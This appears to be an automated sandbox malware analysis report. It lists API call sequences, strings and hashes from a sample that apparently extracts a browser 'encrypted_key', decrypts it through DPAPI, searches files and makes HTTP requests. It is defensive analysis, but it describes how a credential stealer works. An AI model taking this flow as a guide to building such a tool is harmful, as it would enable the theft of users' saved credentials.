Part of subcall function 00B999C0: LocalAlloc.KERNEL32(00000040,?), ref: 00B99A31
Part of subcall function 00B999C0: ReadFile.KERNEL32(000000FF,?,00000000,00B9148F,00000000), ref: 00B99A5A
Part of subcall function 00B999C0: LocalFree.KERNEL32(00B9148F), ref: 00B99A90
Part of subcall function 00B999C0: CloseHandle.KERNEL32(000000FF), ref: 00B99A9A

Part of subcall function 00BA8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00BA8E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00B99D39

Part of subcall function 00B99AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00B94EEE,00000000,00000000), ref: 00B99AEF
Part of subcall function 00B99AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00B94EEE,00000000,?), ref: 00B99B01
Part of subcall function 00B99AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00B94EEE,00000000,00000000), ref: 00B99B2A
Part of subcall function 00B99AC0: LocalFree.KERNEL32(?,?,?,?,00B94EEE,00000000,?), ref: 00B99B3F

Part of subcall function 00B99B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00B99B84
Part of subcall function 00B99B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00B99BA3
Part of subcall function 00B99B60: LocalFree.KERNEL32(?), ref: 00B99BD3

Strings

, xrefs: 00B99DC1
"encrypted_key":", xrefs: 00B99D30
DPAPI, xrefs: 00B99D89

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: 66e25cef790d0c7c0a6947adb4c628561eebb873215273efbad0f77738f40bdc
Instruction ID: 453b3a1141e3f8c0ed8a8c7f877d569856f45e241a37090d32bf8d81f7b73740
Opcode Fuzzy Hash: 66e25cef790d0c7c0a6947adb4c628561eebb873215273efbad0f77738f40bdc
Instruction Fuzzy Hash: B43110B5D10209ABCF04DBE8DC85AEFB7F8EF49304F5445ADE905A7241E7749A04CBA1

Function 00BA5050 Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00BA8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00BA8E0B

lstrcat.KERNEL32(?,00000000), ref: 00BA508A
lstrcat.KERNEL32(?,0063E320), ref: 00BA50A8

Part of subcall function 00BA4910: wsprintfA.USER32 ref: 00BA492C
Part of subcall function 00BA4910: FindFirstFileA.KERNEL32(?,?), ref: 00BA4943

Strings

8c, xrefs: 00BA50B5
c, xrefs: 00BA509B

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID: c$8c
API String ID: 2699682494-2199932598
Opcode ID: 56967c6f844485a3bac95f5f9cfe3cda8deaffc2381a0ddec5bd809fc314dade
Instruction ID: d7b1d5a53bb4a73d5e3c3a491669784a7b66bacdc44c6aeeca50ef7dd3dc7faf
Opcode Fuzzy Hash: 56967c6f844485a3bac95f5f9cfe3cda8deaffc2381a0ddec5bd809fc314dade
Instruction Fuzzy Hash: F7019B7690430867CB54FB74DC42EEE73BCAB55300F0045D5B64996191EE749A88DBF2

Function 00BA6AF3 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00638F78,?,00BB110C,?,00000000,?,00BB1110,?,00000000,00BB0AEF), ref: 00BA6ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00BA6AE8
CloseHandle.KERNEL32(00000000), ref: 00BA6AF9
Sleep.KERNEL32(00001770), ref: 00BA6B04
CloseHandle.KERNEL32(?,00000000,?,00638F78,?,00BB110C,?,00000000,?,00BB1110,?,00000000,00BB0AEF), ref: 00BA6B1A
ExitProcess.KERNEL32 ref: 00BA6B22

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: fb1ba017371ca95879f81f66e89bc4b3b50de0fe87bd9cc0ccabd0a8600ff958
Instruction ID: c4de8e53b564c87339472bd878c754b060e3b7bb6a0db0ad4216afa41284f7d6
Opcode Fuzzy Hash: fb1ba017371ca95879f81f66e89bc4b3b50de0fe87bd9cc0ccabd0a8600ff958
Instruction Fuzzy Hash: 20F05EB0A48309BBE710ABA0DC46BBE7BF4FB06701F548595F512E12C1DBB05540D6B6

Function 00B947B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63stringnetworkCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00B94839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00B94849

Strings

<, xrefs: 00B947C9

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: d665b66eb1b81c991906fe794521b3f494cb06121d196e3978edc32e2c695963
Instruction ID: abd876babaf4174c05f5a5f4b33753e20dee79d5ae8c024198b14ae1f1d28369
Opcode Fuzzy Hash: d665b66eb1b81c991906fe794521b3f494cb06121d196e3978edc32e2c695963
Instruction Fuzzy Hash: 68214FB1E00209ABDF14DFA4E845BDE7BB4FB45320F108625F915A72C1EB706A05CF91

Function 00BA51F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 00BAA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00BAA7E6

Part of subcall function 00B96280: InternetOpenA.WININET(00BB0DFE,00000001,00000000,00000000,00000000), ref: 00B962E1
Part of subcall function 00B96280: StrCmpCA.SHLWAPI(?,0063E828), ref: 00B96303
Part of subcall function 00B96280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00B96335
Part of subcall function 00B96280: HttpOpenRequestA.WININET(00000000,GET,?,0063E1B8,00000000,00000000,00400100,00000000), ref: 00B96385
Part of subcall function 00B96280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00B963BF
Part of subcall function 00B96280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00B963D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00BA5228

Strings

ERROR, xrefs: 00BA5273
ERROR, xrefs: 00BA521A

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 4278a162fbdaa53ef3517ce1950fc28c83ee9862783ad72e73ae6d6ce528abb9
Instruction ID: 30371c27fbb2602aa182bb8bd614391c8bf96e77627ed3ea9388f290ca573c36
Opcode Fuzzy Hash: 4278a162fbdaa53ef3517ce1950fc28c83ee9862783ad72e73ae6d6ce528abb9
Instruction Fuzzy Hash: 1E110030918148ABCB54FF64DD92AED77F8EF51340F8045E8F81B5A592EF34AB05C6A1

Function 00BA4F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00BA8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00BA8E0B

lstrcat.KERNEL32(?,00000000), ref: 00BA4F7A
lstrcat.KERNEL32(?,00BB1070), ref: 00BA4F97
lstrcat.KERNEL32(?,006392A8), ref: 00BA4FAB
lstrcat.KERNEL32(?,00BB1074), ref: 00BA4FBD

Part of subcall function 00BA4910: wsprintfA.USER32 ref: 00BA492C
Part of subcall function 00BA4910: FindFirstFileA.KERNEL32(?,?), ref: 00BA4943

Part of subcall function 00BA4910: StrCmpCA.SHLWAPI(?,00BB0FDC), ref: 00BA4971
Part of subcall function 00BA4910: StrCmpCA.SHLWAPI(?,00BB0FE0), ref: 00BA4987
Part of subcall function 00BA4910: FindNextFileA.KERNEL32(000000FF,?), ref: 00BA4B7D
Part of subcall function 00BA4910: FindClose.KERNEL32(000000FF), ref: 00BA4B92

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: 13b1ae3cd948050dc85c571068dd08ea701ce614fb5c47597ce633cbdba88d61
Instruction ID: c050a5a6194d4459577cd81929e478f7e68c0d814074cf9abe2a9cdbf2223adf
Opcode Fuzzy Hash: 13b1ae3cd948050dc85c571068dd08ea701ce614fb5c47597ce633cbdba88d61
Instruction Fuzzy Hash: 4A21DD769043046BC754FBB4EC46EEE33BCA755300F4085D5B649D2191EEB496C8DBB2

Function 00BA0740 Relevance: 4.7, APIs: 3, Instructions: 217COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,00639248), ref: 00BA079A
StrCmpCA.SHLWAPI(00000000,00639148), ref: 00BA0866
StrCmpCA.SHLWAPI(00000000,00639268), ref: 00BA099D

Part of subcall function 00BAA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00BAA7E6

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 95f048cfcadacb7be02ed5ca2abf4d1eccf46d1f2689f12b0c0570a2b9a0f59f
Instruction ID: c847d7e10ae926c37aacd53f8110f344d4e57f879b4c77396c3b0063aa4a0115
Opcode Fuzzy Hash: 95f048cfcadacb7be02ed5ca2abf4d1eccf46d1f2689f12b0c0570a2b9a0f59f
Instruction Fuzzy Hash: F3916875A102089FCF28EF68D991BEE77F5FF95300F408569E80A9F241DB309A05CB92

Function 00BA0765 Relevance: 4.7, APIs: 3, Instructions: 197COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,00639248), ref: 00BA079A
StrCmpCA.SHLWAPI(00000000,00639148), ref: 00BA0866
StrCmpCA.SHLWAPI(00000000,00639268), ref: 00BA099D

Part of subcall function 00BAA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00BAA7E6

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
